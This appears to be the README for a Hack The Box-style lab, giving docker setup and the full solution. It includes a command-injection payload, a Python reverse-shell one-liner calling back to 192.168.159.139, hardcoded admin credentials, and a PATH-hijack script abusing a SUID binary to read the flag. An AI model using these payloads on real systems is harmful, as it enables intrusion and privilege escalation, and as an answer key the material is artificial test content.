Task - HTB

Quick Start

1. `docker build -t htb .`
2. `docker run -p 81:80 -td htb`

Solution

1. Find and extract source code from `site.com/.git/`
2. Find login and password to `site.com/admin/private`. Username - `secret_admin_login`, Password - `SuP3R_S3CR3T_P@SSWORD`
3. Exploit Command injection on `site.com/admin/private/rocket/start` and get RCE on the server

```
1;ls;id
```

```
1;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.159.139",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

4. Find and decompile ELFx64 suid binary `check`

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // eax

  v3 = geteuid();
  setuid(v3);
  system("whoami");
  return 0;
}
```

5. Increase privileges via PATH manipulation and read the file `flag`

Example POC:

```
cd /tmp
mkdir new
cd new
echo "cp /var/www/html/admin/private/rocket/flag /tmp/new/" > whoami
chmod 777 whoami
echo $PATH
export PATH=/tmp:$PATH
cd /var/www/html/admin/private/rocket
./check
echo "chmod 777 /tmp/new/flag" > /tmp/new/whoami
./check
cat flag
```